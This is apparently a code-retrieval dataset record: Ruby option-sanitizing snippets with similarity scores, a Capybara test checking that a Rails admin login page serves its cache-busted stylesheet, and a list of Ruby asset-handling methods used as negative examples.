sanitize_opts(options)\n options[:required] ||= false\n options[:class] ||= \"\"\n options[:value] = options[:default] unless options[:default].nil?\n # add required class if require is passed as true\n options[:class] = options[:required] ? (options[:class] << \" required\") : options[:class]\n opts = %w(label hint default checked unchecked required)\n opts.each {|o| options.delete o.to_sym}\n return options\n end", "def valid_options\n VALID_OPTIONS_KEYS.reduce({}) { |a, e| a.merge!(e => send(e)) }\n end", "def parse_options(options)\n options = options.reject { |key, _value| !permitted_options.key?(key) }\n @default_options = permitted_options.merge(options).reject { |_key, value| value.blank? }\n end", "def sanitize_fields_hash\n @sanitize_fields_hash ||= extract_configuration(:sanitize_fields, configuration, [])\n end", "def _normalize_options! opts, new_opts = { }\n opts.each do | k, v |\n new_opts[k.to_sym] = v\n end\n \n new_opts\n end", "def normalize_options(options)\n # Delete :config because it is not intended to use for running an analyzer\n [:config, :ignore_old_artifacts, :ignore_threshold].each do |ignore_key|\n options.delete(ignore_key)\n end\n options\n end", "def normalize_options(options)\n options.to_sym_keys\n end", "def valid_options!\n @options.keys.uniq.each do |key|\n raise WhmArgumentError.new(\"Not a valid parameter: #{key}\") unless @optional_params.include?(key)\n end\n end", "def normalize_options(options)\n options = options.inject({}) { |h, (k,v)| h[k.downcase] = v ; h }\n options[:rackup] = options[:config] if options[:config]\n options[:port] = options[:port].to_i if options[:port]\n options\n end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def parse_hash(options)\n options.each { |key, val| remove_required(options, key, val) }\n hash = update_required_from_global\n check_requirement!(*hash.keys)\n end", "def process_options(raw, options = {})\n raw = raw.merge(options)\n \n # normalize all keys to lowercase\n new_hash = {}\n raw.each {|k, v| new_hash.merge!({k.downcase => v})}\n \n # filter out type -> it is only meaningful to opennebula\n new_hash.delete(:type)\n\n new_hash\n end", "def normalize_options!(options)\n # here, we could also filter out local options e.g. like options[:band].\n private_options = {}\n return [options, private_options] if options.size == 0\n\n propagated_options = options.dup\n\n private_options[:include] = propagated_options.delete(:include) if options[:include]\n private_options[:exclude] = propagated_options.delete(:exclude) if options[:exclude]\n propagated_options.delete(:wrap) # FIXME.\n\n [propagated_options, private_options]\n end", "def sanitize_hash(hash)\n Hash[hash.collect { |k, v| [k.to_s, v.is_a?(Hash) ? sanitize_hash(v) : v] }]\n end", "def domain_option_params(option_hash)\n option_hash ||= {}\n option_hash[:missing] = false if option_hash.key?(:missing) && option_hash[:missing].blank?\n option_hash.permit(:display_name, :value, :description, :missing)\n end", "def validate_options(options, *known_options)\n\toptions ||= Hash.new\n\topt, unknown = Kernel.filter_options(options.to_hash, *known_options)\n\tunless unknown.empty?\n\t not_valid = unknown.keys.map { |m| \"'#{m}'\" }.join(\" \")\n\t raise ArgumentError, \"unknown options #{not_valid}\", caller(1)\n\tend\n\n\topt\n end", "def sanitize(settings)\n settings.reject { |_key, value| value.nil? }\n end", "def _process_options(options); end", "def _process_options(options); end", "def normalize_options(options)\n normalized_options = options.dup\n\n normalized_options\n .merge!(\n format: @format,\n api_key: @api_key,\n expire: request_expires_at(normalized_options)\n )\n .merge!(\n sig: Utils.generate_signature(normalized_options, @api_secret)\n )\n end", "def process_options\n @options.each do |option, value|\n if value == true && VALID_OPTIONS.include?(option)\n self.send(\"option_#{option}\")\n end\n end\n end", "def normalize_options(options)\n options = options.dup\n OPTION_ALIASES.each do |canonical_name, aliases|\n alias_key = aliases.detect { |key| options.key?(key) }\n options[canonical_name] ||= options[alias_key] if alias_key\n options.except!(*aliases)\n end\n\n options\n end", "def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\t\t@options[:getword] = false if @options[:random]\n\t\t@options[:add] = false if @options[:random] or @options[:getword]\n\tend", "def normalize_options\n copy_options_to_attributes(ATTRIBUTE_OPTIONS)\n copy_boolean_options_to_attributes(ATTRIBUTE_BOOLEAN_OPTIONS)\n handle_key_option\n handle_errors_option\n\n Forme.attr_classes(@attr, @opts[:class]) if @opts.has_key?(:class)\n\n if @opts[:error]\n Forme.attr_classes(@attr, 'error')\n @attr[\"aria-invalid\"] = \"true\"\n if @opts.fetch(:error_handler, true)\n if @opts[:error_id]\n @attr['aria-describedby'] ||= @opts[:error_id]\n else\n if id = @attr[:id] || @attr['id']\n error_id = @attr['aria-describedby'] ||= \"#{id}_error_message\"\n @opts[:error_id] = error_id\n end\n end\n end\n end\n\n if data = opts[:data]\n data.each do |k, v|\n k = k.to_s.tr(\"_\", \"-\") if k.is_a?(Symbol) && input.opts[:dasherize_data]\n sym = :\"data-#{k}\"\n @attr[sym] = v unless @attr.has_key?(sym)\n end\n end\n end", "def options\n\t\t\tVALID_OPTIONS_KEYS.inject({}) do |option,key|\n\t\t\t\toption.merge!(key => send(key))\n\t\t\tend\n\t\tend", "def options\n VALID_OPTIONS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def sanitize!(conditions)\n conditions.reject {|key, value| !ALLOWED_KEYS.include?(key) }\n end", "def sanitize_render_options(opts)\n opts.except!(:view, :state)\n end", "def sanitized_prop_options(handle, key, options)\n defaults = (handles || {})[handle] || {}\n return {\n :key => normalize_cache_key(key),\n :increment => defaults[:increment],\n :threshold => defaults[:threshold].to_i,\n :interval => defaults[:interval].to_i\n }.merge(options)\n end", "def validate_options; end", "def product_params_sanitizer(hash)\n\t hash[:typ_subcategory_id] = hash.delete :typ_subcategory\n\t hash[:typ_subcategory_id] = hash[:typ_subcategory_id][:id]\n\t hash[:typ_category_id] = hash.delete :typ_category\n\t hash[:typ_category_id] = hash[:typ_category_id][:id]\n\t return hash\n \tend", "def scrub_options_hash(options_hash)\n options_hash.each do |key,value|\n options_hash[key] = hash_to_callback(value)\n end\n options_hash\n end", "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "def normalize_options(options)\n if only_list = options[:only]\n # This creates a proc that takes a controller insatance and asks\n # \"Is the controller's action in this `only` list?\n options[:if] = proc { |controller| only_list.map(&:to_s).include?(controller.action_name) }\n end\n\n options\n end", "def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end", "def stringify_values\n clean_options={}\n each do |key,value|\n if value.is_a? Symbol\n clean_options[key]=value.to_s\n elsif value.is_a? Array\n ary=value.collect {|v| if v.is_a? Symbol then v.to_s else v end}\n clean_options[key]=ary\n else\n clean_options[key]=value\n end\n end\n clean_options\n end", "def valid_options\n self::OPTIONS.map(&:to_s).join(', ')\n end", "def validate_public_options(options)\n options.each do |k, _v|\n case k\n when :controller_info,\n /enabled_for_/,\n :enabled,\n :whodunnit\n next\n else\n raise InvalidOption, \"Invalid option: #{k}\"\n end\n end\n end", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def validate\n opts = options.dup\n opts[0] = \"1\"\n set(options: opts)\n end", "def normalize_options(options)\n options.merge!(\n :format => @format,\n :api_key => @api_key,\n :expire => Time.now.to_i + 600 # Grant this request 10 minutes\n ).merge!(:sig => Utils.generate_signature(options, @api_secret))\n end", "def normalize_args(string, options_hash); end", "def prepare_options\n normalize_options\n String.allow_color = !options[:no_color]\n end", "def check_for_missing_enabled_option(hash); end", "def check_unknown_options!(options = {})\n @check_unknown_options ||= {}\n options.each do |key, value|\n if value\n @check_unknown_options[key] = Array(value)\n else\n @check_unknown_options.delete(key)\n end\n end\n @check_unknown_options\n end", "def sanitize_params(form_params)\n super.tap do |params|\n params['title'] = Array.wrap(params['title']) if params.key?('title')\n params['description'] = Array.wrap(params['description']) if params.key?('description')\n end\n end", "def allow_empty_options\n true\n end", "def wp_protect_special_option( option )\n if 'alloptions' == option || 'notoptions' == option\n raise sprintf( '%s is a protected WP option and may not be modified', esc_html(option))\n end\n end", "def check_input_entry\n %i{assembly mut_bulk bg_bulk mut_bulk_vcf bg_bulk_vcf mut_parent bg_parent repeats_file}.each do | symbol |\n if @options.key?(symbol)\n if @options[symbol] == 'None'\n param = (symbol.to_s + '_given').to_sym\n @options[symbol] = ''\n @options.delete(param)\n end\n end\n end\n end", "def valid_options\n []\n end", "def validate_options(options)\n raise TypeError.new(\"provided options must be a Hash\") unless options.is_a?(Hash)\n check_for_illegal_keys!(options)\n options = set_deduct_call_time_based_on_metric(DEFAULT_SETTINGS.merge(options))\n check_for_push_scope_and_metric(options)\n options\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def serializable_hash(options = {})\n pre_sanitized_hash = super({\n :only => [:id, :name, :email]\n }.merge(options))\n\n # Sanitize\n pre_sanitized_hash.merge({\n \"name\" => Rack::Utils.escape_html(self.name),\n \"email\" => Rack::Utils.escape_html(self.email)\n })\n end", "def verify_options_hook; end", "def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def sanitize_select_options(options)\n [].tap do |array|\n options.each_with_index do |object, position|\n array << { name: object, position: position }\n end\n end\n end", "def _normalize_options(options)\n _normalize_text(options)\n\n if options[:html]\n options[:html] = ERB::Util.html_escape(options[:html])\n end\n\n if options[:status]\n options[:status] = Rack::Utils.status_code(options[:status])\n end\n\n super\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end", "def sanitized_allowed_attributes=(attributes); end", "def sanitized_allowed_attributes=(attributes); end", "def options\n Hash[ * VALID_OPTIONS_KEYS.map { |key| [key, send(key)] }.flatten ]\n end", "def normalize_options\n if @opts[:disabled] == false\n super\n else\n super\n @attr[:disabled] = :disabled\n end\n end", "def unique_options_body\n valid_temp_opts = @options.collect {|opt| opt.body.strip unless opt.body.blank? }.compact\n errors.add('options', 'duplicate options not allowed') and return false if valid_temp_opts.uniq!\n end", "def sanitize_attrs(attrs = {}, permitted = [])\n sanitized = {}\n attrs.each do |key, value|\n sanitized[key.to_s] = value if permitted.include?(key.to_s)\n end\n sanitized\n end", "def validate_options(options)\n return super unless backend\n super(options.slice(*(options.keys - backend.valid_keys)))\n\n # Validate that the default backend from config has valid keys, or if\n # it is overridden by an array input that the array has valid keys.\n if options[:backend].is_a?(Array)\n name, backend_options = options[:backend]\n extra_keys = backend_options.keys - backend.valid_keys\n raise InvalidOptionKey, \"These are not valid #{name} backend keys: #{extra_keys.join(', ')}.\" unless extra_keys.empty?\n end\n end", "def filter_ssh_options(args)\n valid_arguments = [:port, :password, :key_data, :passphrase]\n args.select { |opt| valid_arguments.include? opt }.merge(NET_SSH_OPTIONS)\n end", "def allowed_options\n { :test =>\n { :type => String ,\n :value => \"test\" }\n }\n end", "def clean_dynamic_values(hash)\n hash[:value].delete(:params) if hash.has_key?(:value) && hash[:value].is_a?(Array)\n hash\n end", "def acceptable_values?\n options_s_keys = options.keys.map(&:to_s)\n\n if @attributes[:multiple] && resolver.params[name].respond_to?(:map)\n (resolver.params[name].map(&:to_s) - options_s_keys).empty?\n else\n options_s_keys.include?(resolver.params[name].to_s)\n end\n end", "def sanitize_opts_of_endpoint_data(opts, path)\n opts.delete_if {|k,v| path.match(/:#{k}(\\/|$)/) }\n end", "def valid_opts\n true\n end", "def options\n Hash[VALID_OPTIONS.map { |key| [key, send(key)] }]\n end", "def clean(options)\n options[:softbin] ||= options.delete(:sbin) || options.delete(:soft_bin)\n options[:number] ||= options.delete(:test_number) || options.delete(:tnum) ||\n options.delete(:testnumber)\n options[:name] ||= options.delete(:tname) || options.delete(:testname) ||\n options.delete(:test_name)\n options[:index] ||= options.delete(:ix)\n end", "def validate_options\n true\n end", "def process_options\n \n end", "def strip_formtastic_options(options) #:nodoc:\n options.except(:value_method, :label_method, :collection, :required, :label,\n :as, :hint, :input_html, :label_html, :value_as_class)\n end", "def options\n Hash[*VALID_PARAMS_KEYS.map {|key| [key, send(key)] }.flatten]\n end" ]
[ "0.78548044", "0.7753926", "0.768359", "0.7629228", "0.72975016", "0.72790176", "0.7191049", "0.70391643", "0.68849045", "0.6758552", "0.66946524", "0.6687674", "0.66675574", "0.65549", "0.65420026", "0.65219057", "0.64952636", "0.6464923", "0.64500093", "0.64375514", "0.6436138", "0.643268", "0.6421584", "0.641461", "0.63990855", "0.63990855", "0.6377768", "0.63761413", "0.6370139", "0.6370118", "0.6364772", "0.6345073", "0.63408893", "0.6329818", "0.6303286", "0.6294333", "0.6294048", "0.62924975", "0.62795866", "0.62696964", "0.62504745", "0.62425745", "0.62380046", "0.62313414", "0.6228864", "0.62202126", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6208219", "0.6207346", "0.6195348", "0.61935997", "0.6188058", "0.61812633", "0.616922", "0.61542267", "0.6146627", "0.61451644", "0.6138233", "0.6130402", "0.6119115", "0.61144954", "0.6107054", "0.6083307", "0.60755527", "0.6072533", "0.60687244", "0.60665506", "0.60648245", "0.60648245", "0.60648245", "0.60648245", "0.60648245", "0.60648245", "0.6047369", "0.6047369", "0.60335535", "0.60262376", "0.60238063", "0.6020033", "0.6014075", "0.60101044", "0.6009481", "0.6003684", "0.5992938", "0.59758127", "0.5952414", "0.5950301", "0.5947936", "0.59148186", "0.5912077", "0.5911342", "0.5910433" ]
0.0
-1
Since we do some custom things related to the Rails asset path, make sure everything is hooked up and the production cachebused assets are served up.
def test_login_assets visit "/admin/login" assert_text("Admin Sign In") # Find the stylesheet on the Rails login page, which should have a # cache-busted URL (note that the href on the page appears to be relative, # but capybara seems to read it as absolute. That's fine, but noting it in # case Capybara's future behavior changes). stylesheet = find("link[rel=stylesheet]", :visible => :hidden) assert_match(%r{\Ahttps://127\.0\.0\.1:9081/web-assets/admin/login-\w{64}\.css\z}, stylesheet[:href]) # Verify that the asset URL can be fetched and returns data. response = Typhoeus.get(stylesheet[:href], keyless_http_options) assert_response_code(200, response) assert_equal("text/css", response.headers["content-type"]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def request_debug_assets?; end", "def request_debug_assets?; end", "def serve_assets\n if @serve_assets.nil?\n ENV['RACK_ENV'] == 'production' ? (@serve_assets = 'remote') : (@serve_assets = 'local_dynamic')\n end\n @serve_assets\n end", "def production_opening\n @images_path = \"/../../assets/images\"\n end", "def precompile_assets; end", "def prepare_for_production\n root_glob = combined_app_root_glob(false)\n root_re = combined_app_root_regexp(false)\n\n # Load application modules\n path_re = /#{root_re}(?<path>.*)/\n Dir.glob(File.join(root_glob, '**/*')) do |file|\n if File.directory? file\n file.match(path_re) do |m|\n mod = File.join(file, File.basename(file)) << '.rb'\n if File.file? mod\n require_for_production mod\n else\n Object.const_set_recursive(m[:path].camelize, Module.new)\n end\n end # match\n end # if\n end\n\n # Load templates\n file_re = /#{root_re}(?<path>.*)\\/.*\\.(?<template>.*)\\./\n Dir.glob(File.join(root_glob, \"**/*#{TEMPLATE_EXT}\")) do |file|\n file.match(file_re) do |m|\n ios = StringIO.new\n TemplateCompiler.compile_template(\n ios, File.read(file), m[:path].camelize, m[:template],\n false, @context.timers\n )\n m[:path].camelize.constantize.class_eval(ios.string)\n end # match\n end # glob\n\n # Load CSS\n css = CssCompressor.compress(compile_css(StringIO.new).string)\n Application.use(Rack::FrozenRoute, %r{/bundle.css}, 'text/css', css)\n Application.pull_down(Rack::StaticDir)\n end", "def asset_path(url)\n \"/assets/cb#{settings.cachebust}/#{url}\"\n end", "def assets_path path = nil\n @assets_path = (root + path.to_s).freeze if path\n @assets_path ||= (root + 'public/').freeze\n end", "def assets_path\n @assets_path ||= 'assets'\n end", "def asset_url(path)\n path.sub!(%r[^(#{@mount_point})?/?], \"\")\n mounted_path = \"#{@mount_point}/#{path}\"\n\n # TODO: Change the real file behavior if I replace the use of Rack::File above\n return mounted_path if @watcher.find(path)\n\n return mounted_path unless @environment == \"production\"\n\n # Add on a checksum tag in production\n asset = find_asset(path)\n raise \"Error: no such asset available: #{path}\" unless asset\n mounted_path, dot, extension = mounted_path.rpartition(\".\")\n return mounted_path if dot.empty?\n \"#{mounted_path}-#{asset.checksum}.#{extension}\"\n end", "def assets; end", "def assets; end", "def assets; end", "def asset_resolver_strategies; end", "def asset_resolver_strategies; end", "def asset_host; end", "def asset_host; end", "def _assets path, domain = '/'\n\t\t\"#{domain}_assets/#{path}\"\n\tend", "def sprockets_js_erb_cache_bust\n do_sprockets_cache_bust(:time_stamp)\n end", "def asset_paths\n @asset_paths ||= [prefix] \n end", "def set_assets\n\n @custom_csses = []\n @custom_javascripts = []\n\n\n action_hash = {\"create\" => \"new\", \"update\" => \"edit\"}\n file_name = action_hash[action_name] ? action_hash[action_name] : action_name\n root = Rails.root.to_s\n\n @custom_csses << \"compiled/application.css\" # always include the layout css\n @custom_csses << \"compiled/#{controller_name}/#{file_name}.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/#{file_name}.css\")\n @custom_csses << \"compiled/#{controller_name}/all.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/all.css\")\n\n\n @custom_javascripts << \"#{controller_name}/#{file_name}.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/#{file_name}.js\") # && !(\"#{file_name}.js\" == \"consumer_index.js\")\n @custom_javascripts << \"#{controller_name}/all.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/all.js\")\n\n # a trick to include facebox in the (devise-owned) registrations controller\n include_facebox if controller_name == 'registrations' && action_name == 'edit'\n\n end", "def build_app_caches(app_name, instance_name)\n Dir.chdir RailsPwnerer::Config[app_name, instance_name][:app_path] do\n if File.exist?('Gemfile')\n Kernel.system 'bundle exec rake assets:precompile RAILS_ENV=production'\n else\n Kernel.system 'rake assets:precompile RAILS_ENV=production'\n end\n end\n end", "def bypass_by_path?(req)\n req.path =~ /^\\/assets/\n end", "def asset_handler\n tags = String.new\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/icons.css\")\n if controller_name == \"rich_subscriptions\"\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('map')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet-slider.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/L.Control.Locate.min.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('map')}.css\")\n else\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('application')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('application')}.css\")\n end\n tags.html_safe\n end", "def assets_path\n @assets_path ||= Bootstrap.assets_path\n end", "def assets_path path = nil\n @assets_path = root + normalize_path(path).freeze if path\n @assets_path ||= '' << root << 'public/'.freeze\n end", "def assets\n unless IO.read(\"app/assets/stylesheets/application.css\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/stylesheets/application.css\", :after => \"/*\" do\n %q{\n * Required by SULChrome:\n *= require sul_chrome/sul_chrome_base\n *}\n end\n end\n unless IO.read(\"app/assets/javascripts/application.js\").include?(\"Required by SULChrome\")\n insert_into_file \"app/assets/javascripts/application.js\", :before => \"//= require_tree .\" do\n%q{// Required by SULChrome:\n//= require sul_chrome/sul_chrome_base\n}\n end\n end\n end", "def assets\n @assets = nil unless production?\n\n @assets ||= Sprockets::Environment.new(@root) do |env|\n env.version = ENV[\"RACK_ENV\"]\n\n env.append_path(File.join(\"app\", \"assets\"))\n env.append_path(File.join(\"vendor\", \"assets\"))\n\n # compress everything in production\n if production?\n env.js_compressor = YUI::JavaScriptCompressor.new(:munge => true)\n env.css_compressor = YUI::CssCompressor.new\n end\n end\n end", "def public_assets_path\n @public_assets_path ||= 'assets'\n end", "def asset_path(*args)\n path = args.join('/')\n page = sitemap[path]\n if production?\n raise \"Missing asset #{path}\" if page.blank?\n if page[:digest] == true\n raise \"Missing digest for #{path}\" if page[:digest_path].blank?\n path = page[:digest_path]\n end\n end\n asset_http_prefix + path\n end", "def asset_packs_path\n Gym.cache[:asset_packs_path] ||= File.join(temporary_output_path, \"OnDemandResources\")\n end", "def use_cdn_resources?\n !Rails.env.development? and !Rails.env.test?\n end", "def assets\n\n javascript={}\n css={}\n\n Dir.glob(bower_asset_path+'/production/*.html').each { |path|\n next if files_omit.include?(File.basename(path))\n page = Nokogiri::HTML(open(path))\n javascript[path]=[]\n css[path]=[]\n page.css('script').each { |st|\n javascript[path] << st.attr('src').sub('../vendors/', '') if st.attr('src') && st.attr('src').start_with?('../')\n }\n page.css('link').each { |st|\n css[path] << st.attr('href').sub('../vendors/', '') if st.attr('rel') && st.attr('rel') == 'stylesheet'\n }\n }\n\n# Merge the lists of script and css references using array union\n javascript_src=[]\n javascript.values.map { |s| javascript_src = javascript_src | s }\n javascript_src.uniq!\n\n# Omit the references that we won't include in the gem\n javascript_omit.each { |s| javascript_src.delete(s) }\n\n css_src=[]\n css.values.map { |s| css_src = css_src | s }\n css_src.uniq!\n\n css_omit.each { |s| css_src.delete(s) }\n\n {\n javascript: javascript_src,\n css: css_src,\n }\n\nend", "def configure_assets\n set :public_folder, Aladdin::PATHS.public\n set :static_paths, Proc.new { Aladdin.config[:static_paths] }\n end", "def assets_manifest; end", "def assets_manifest; end", "def resolve_asset_path(path, allow_non_precompiled = T.unsafe(nil)); end", "def resolve_asset_path(path, allow_non_precompiled = T.unsafe(nil)); end", "def check_site_assets\n if request.path.start_with?('/site_assets')\n render(file: 'public/404.html', status: :not_found, layout: false) && false\n else\n true\n end\n end", "def precompile_app_assets\n puts \"Precompiling assets...\"\n\n # make sure the Rails environment is loaded\n ::Rake.application['environment'].invoke\n\n # temporarily set the static assets location from public/assets to our spec directory\n ::Rails.application.assets.static_root = Rails.root.join(\"spec/javascripts/generated/assets\")\n\n # rake won't let you run the same task twice in the same process without re-enabling it\n\n # once the assets have been cleared, recompile them into the spec directory\n ::Rake.application['assets:precompile'].reenable\n ::Rake.application['assets:precompile'].invoke\n end", "def copy_assets; end", "def asset_precompiled?(logical_path); end", "def asset_precompiled?(logical_path); end", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def precompiled_assets(clear_cache = T.unsafe(nil)); end", "def compile_assets\n self.class.boot_rails\n return false unless self.class.rails_booted\n begin\n clean\n precompile\n true\n rescue => e\n puts \"An error occurred compiling assets: #{e}\"\n false\n ensure\n ::Rails.application.assets.instance_eval { expire_index! }\n end\n end", "def serve_public_assets\n set :root, File.expand_path(File.join(File.dirname(settings.app_file), '..'))\n set :public_folder, 'public'\n end", "def route_assets?\n request.path_info.match %r{^/assets/}\n end", "def run\n app, config = @app, @app.config\n return unless app.assets\n\n config.assets.paths.each { |path| app.assets.append_path(path) }\n\n if config.assets.compress\n # temporarily hardcode default JS compressor to uglify. Soon, it will work\n # the same as SCSS, where a default plugin sets the default.\n unless config.assets.js_compressor == false\n js_compressor = config.assets.js_compressor || :uglifier\n app.assets.js_compressor = LazyCompressor.new { Sprockets::Rails::Compressors.registered_js_compressor(js_compressor) }\n end\n\n unless config.assets.css_compressor == false\n css_compressor = config.assets.css_compressor\n app.assets.css_compressor = LazyCompressor.new { Sprockets::Rails::Compressors.registered_css_compressor(css_compressor) }\n end\n end\n\n if config.assets.compile\n app.routes.prepend do\n mount app.assets => config.assets.prefix\n end\n end\n\n if config.assets.digest\n app.assets = app.assets.index\n end\n end", "def create_static_artifacts!(working_path)\n super(working_path)\n end", "def asset_modified(path)\n @task.say 'Recompiling assets'\n @builder.compile_assets\n end", "def precompile_app_assets\n puts 'Precompiling assets...'.yellow\n # make sure the Rails environment is loaded\n Rake.application['assets:environment'].invoke\n\n set_assets_path\n\n # once the assets have been cleared, recompile them into the tmp directory\n Rake.application['assets:precompile'].reenable\n Rake.application['assets:precompile'].invoke\n end", "def resolve_asset; end", "def resolve_asset; end", "def prefix_vite_asset(path)\n File.join(\"/#{ config.public_output_dir }\", path)\n end", "def asset_exists?(path)\n if Rails.configuration.assets.compile\n Rails.application.precompiled_assets.include? path\n else\n Rails.application.assets_manifest.assets[path].present?\n end\n end", "def asset_exists?(path)\n if Rails.configuration.assets.compile\n Rails.application.precompiled_assets.include? path\n else\n Rails.application.assets_manifest.assets[path].present?\n end\n end", "def use_cdn_in_production\n unless defined?(@use_cdn)\n self.use_cdn_in_production = DEFAULT_USE_CDN\n end\n\n @use_cdn\n end", "def set_generated_assets_dir\n ReactOnRails.configuration.generated_assets_dir = Basch::Application.config.generated_frontend_assets_dir\n end", "def assets_path() = self.class.name.demodulize.delete_suffix('Generator').underscore", "def init_config\n config('asset_dest', 'assets')\n config('keep_files', []).push(config('asset_dest'))\n end", "def allow_production; end", "def assets_enabled?\n return false if @site.config['bootstrap'].nil?\n @site.config['bootstrap']['assets'] == true\n end", "def assets\n \n if !params[:path].blank? or !params[:format].blank?\n if get_from_asset_folder\n return\n else\n render_404 and return\n end\n end\n end", "def run\n app, config = @app, @app.config\n return unless app.assets\n\n config.assets.paths.each { |path| app.assets.append_path(path) }\n\n if config.assets.compress\n # temporarily hardcode default JS compressor to uglify. Soon, it will work\n # the same as SCSS, where a default plugin sets the default.\n unless config.assets.js_compressor == false\n app.assets.js_compressor = LazyCompressor.new { expand_js_compressor(config.assets.js_compressor || :uglifier) }\n end\n\n unless config.assets.css_compressor == false\n app.assets.css_compressor = LazyCompressor.new { expand_css_compressor(config.assets.css_compressor) }\n end\n end\n\n if config.assets.compile\n app.routes.prepend do\n mount app.assets => config.assets.prefix\n end\n end\n\n if config.assets.digest\n app.assets = app.assets.index\n end\n end", "def compute_asset_path(path, options = {})\n digested = options.delete(:digested)\n digested = true if digested.nil?\n\n if (digest_path = asset_digest_path(path, options))\n path = digest_path if digested && digest_assets\n path += \"?body=1\" if options[:debug]\n File.join(assets_prefix || \"/\", path)\n else\n super\n end\n end", "def site_asset_path(src)\n rewrite_asset_path(src.expand_url(\"#{account_site_assets}/\"))\n end", "def add_favicon_to_asset_path\n say_status(\"warning\", \"ADDING FAVICON TO ASSET PATH\", :yellow)\n\n append_to_file 'config/initializers/assets.rb' do\n 'Rails.application.config.assets.precompile += %w( favicon.ico )'\n end\n end", "def asset_request?\n ::Watchman::asset_paths.any? { |r| env['PATH_INFO'].to_s.match(r) }\n end", "def asset_path\n \"#{Rails.env}/#{self.user.username}/assets/\"\n end", "def asset_url_for( filename )\n\n # get a host\n hostname = config.asset_host || root_url.gsub( /^\\//, '' )\n\n # blah\n suff = ( Rails.env.development? ? \"?#{Time.now.to_i}\" : '' )\n\n # return\n \"#{hostname}/#{Rails.application.config.assets[:url]}/#{versioned_filename_for( filename )}\".gsub( /(?<!:)\\/\\/+/, '/' ) + suff\n\n end", "def assets_environment\n Helpers.environment || environment\n end", "def assets\n {\n css: css_assets,\n js: js_assets,\n image: image_assets\n }\n end", "def cleanup_app_caches(app_name, instance_name)\n Dir.chdir RailsPwnerer::Config[app_name, instance_name][:app_path] do\n if File.exist?('Gemfile')\n Kernel.system 'bundle exec rake assets:clean RAILS_ENV=production'\n else\n Kernel.system 'rake assets:clean RAILS_ENV=production'\n end\n end\n end", "def asset_environment\n Rails.application.assets\n end", "def precompile_assets=(_arg0); end", "def load_assets\n AssetManager.include_local_library [:application, :admin_layout_data_table]\n AssetManager.include_css [:application, :admin_layout, :colorbox]\n AssetManager.include_contrib_library [:colorbox]\n end", "def account_site_assets_base(leading_slash = true)\n leading_slash ? \"/#{SITE_ASSETS_FOLDER}\" : SITE_ASSETS_FOLDER\n end", "def static_files; end", "def should_compile_assets?\n diff.has_asset_changes? || !File.exist?('public/assets')\n end", "def assets\n @assets ||= begin\n Sass.load_paths << File.join(site_root, 'assets/stylesheets')\n Sprockets::Environment.new.tap do |environment|\n environment.register_engine '.sass', Sprockets::Sass::SassTemplate\n environment.register_engine '.scss', Sprockets::Sass::ScssTemplate\n environment.append_path File.join site_root, 'assets/images'\n environment.append_path File.join site_root, 'assets/javascripts'\n environment.append_path File.join site_root, 'assets/stylesheets'\n environment.context_class.class_eval { include AssetExtensions }\n end\n end\n end", "def precompile_assets\n if rails? && defined?(Rake)\n ::Rake::Task['assets:precompile'].enhance do\n svgs.map(&:build)\n end\n end\n end", "def add_to_assets(asset_str)\n append_to_file('config/initializers/assets.rb', \"Rails.application.config.assets.precompile += %w( #{asset_str} )\\n\") unless asset_str.blank?\nend", "def asset_location()\n if fetch(:assets_path, \"\") != \"\" then\n return asset_location = \"#{assets_path}/#{assets_folder}\"\n end\n\n return asset_location = \"#{assets_folder}\"\n end", "def build_assets\n end", "def 